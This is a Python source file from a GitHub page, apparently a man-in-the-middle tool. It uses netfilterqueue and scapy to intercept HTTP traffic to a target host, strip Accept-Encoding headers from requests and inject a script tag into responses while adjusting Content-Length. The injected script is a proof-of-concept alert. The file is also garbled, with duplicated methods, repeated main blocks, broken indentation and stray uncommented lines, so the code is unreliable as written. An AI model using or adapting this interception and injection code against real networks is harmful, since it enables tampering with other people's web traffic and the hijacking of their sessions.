-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathinterceptor2.py
343 lines (175 loc) · 6.72 KB
/
interceptor2.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
import socket
import threading
import netfilterqueue
from scapy.all import *
import re
import logging
from datetime import datetime
logging.basicConfig(level=logging.INFO,
format="%(asctime)s %(levelname)s: %(message)s",
datefmt="%Y-%m-%d %H:%M:%S")
class Interceptor:
def __init__(self, address, port, iface=None):
self.address = address
self.port = int(port)
self.iface = iface
self.queue = netfilterqueue.NetfilterQueue()
self.queue.bind(0, self.process_packet)
def start(self):
logging.info(f"Interceptor started for {self.address}:{self.port}")
if self.iface:
sniff(filter=f"tcp and host {self.address} and port {self.port}",
prn=self.process_packet,
iface=self.iface,
store=False)
else:
self.queue.run()
def stop(self):
logging.info("Stopping interceptor...")
self.queue.unbind()
def process_packet(self, packet):
spacket = IP(packet.get_payload())
if spacket[TCP].dport == self.port and spacket[IP].dst == self.address:
# Packet is an HTTP request to the target host
logging.info(f"Detected HTTP Request from {spacket[IP].src} to {spacket[IP].dst}")
self.process_request(packet, spacket)
elif spacket[TCP].sport == self.port and spacket[IP].src == self.address:
# Packet is an HTTP response from the target host
logging.info(f"Detected HTTP Response from {spacket[IP].src} to {spacket[IP].dst}")
self.process_response(packet, spacket)
else:
# Packet is not relevant to the target host or port, just
continue processing it
packet.accept()
def process_request(self, packet, spacket):
try:
load = spacket[Raw].load.decode()
except Exception as e:
packet.accept()
return
# Modify the request as needed
modified_load = self.modify_request(load)
if modified_load != load:
spacket[Raw].load = modified_load
spacket[IP].len = None
spacket[IP].chksum = None
spacket[TCP].chksum = None
packet.set_payload(bytes(spacket))
def process_response(self, packet, spacket):
try:
load = spacket[Raw].load.decode()
except Exception as e:
packet.accept()
return
# Modify the response as needed
modified_load = self.modify_response(load)
if modified_load != load:
spacket[Raw].load = modified_load.encode()
spacket[IP].len = None
spacket[IP].chksum = None
spacket[TCP].chksum = None
packet.set_payload(bytes(spacket))
def modify_request(self, load):
# Modify the request here
return load
def modify_response(self, load):
# Modify the response here
return load
if name == "main":
# Example usage
address = "example.com"
port = 80
interceptor = Interceptor(address, port)
interceptor.start()
else:
# Pass packet through without modification
packet.accept()
def process_request(self, packet, spacket):
# Extract the HTTP request body
try:
load = spacket[Raw].load.decode()
except Exception as e:
packet.accept()
return
# Remove the Accept-Encoding header from the request
new_load = re.sub(r"Accept-Encoding:.*\r\n", "", load)
# Update the packet payload with the modified request
spacket[Raw].load = new_load.encode()
# Reset the packet checksums and lengths to ensure they are recomputed
spacket[IP].len = None
spacket[IP].chksum = None
spacket[TCP].chksum = None
# Set the modified packet payload
packet.set_payload(bytes(spacket))
def process_response(self, packet, spacket):
# Extract the HTTP response body
try:
load = spacket[Raw].load.decode()
except Exception as e:
packet.accept()
return
# Inject a script into the response body
added_text = "<script>alert('Javascript Injected successfully!');</script>"
added_text_length = len(added_text)
load = load.replace("</body>", added_text + "</body>")
# Update the Content-Length header with the new length of the response body
if "Content-Length" in load:
content_length = int(re.search(r"Content-Length: (\d+)\r\n", load).group(1))
new_content_length = content_length + added_text_length
load = re.sub(r"Content-Length:.*\r\n", f"Content-Length: {new_content_length}\r\n", load)
if added_text in load:
logging.info(f"Successfully injected code to {spacket[IP].dst}")
# Update the packet payload with the modified response
spacket[Raw].load = load.encode()
# Reset the packet checksums and lengths to ensure they are recomputed
spacket[IP].len = None
spacket[IP].chksum = None
spacket[TCP].chksum = None
# Set the modified packet payload
packet.set_payload(bytes(spacket))
if name == "main":
# Define the target address and port to intercept traffic to
target_address = "example.com"
target_port = 80
# Initialize the interceptor
interceptor = Interceptor(target_address, target_port)
# Start the interceptor
interceptor.start()
# Initialize the interceptor
interceptor = Interceptor(target_address, target_port)
# Start the interceptor
interceptor.start()
Initialize the interceptor
interceptor = Interceptor(target_address, target_port)
Start the interceptor
try:
# Start the interceptor in a separate thread so we can stop it with the keyboard interrupt signal (CTRL+C)
interceptor_thread = threading.Thread(target=interceptor.start)
interceptor_thread.start()
while True:
# Keep the main thread running to be able to stop the interceptor with the keyboard interrupt signal (CTRL+C)
time.sleep(1)
while True:
# Keep the main thread running to be able to stop the interceptor with the keyboard interrupt signal (CTRL+C)
time.sleep(1)
except KeyboardInterrupt:
# Stop the interceptor when the keyboard interrupt signal is received (CTRL+C)
interceptor.stop()
interceptor_thread.join()
logging.info("Interceptor stopped.")
# Initialize the interceptor
interceptor = Interceptor(target_address, target_port)
# Start the interceptor in a separate thread
interceptor_thread = threading.Thread(target=interceptor.start)
interceptor_thread.daemon = True
interceptor_thread.start()
# Wait for the user to stop the interceptor
try:
logging.info("Interceptor is running. Press CTRL+C to stop.")
while True:
time.sleep(1)
except KeyboardInterrupt:
# Stop the interceptor when the keyboard interrupt signal is received (CTRL+C)
interceptor.stop()
interceptor_thread.join()
logging.info("Interceptor stopped.")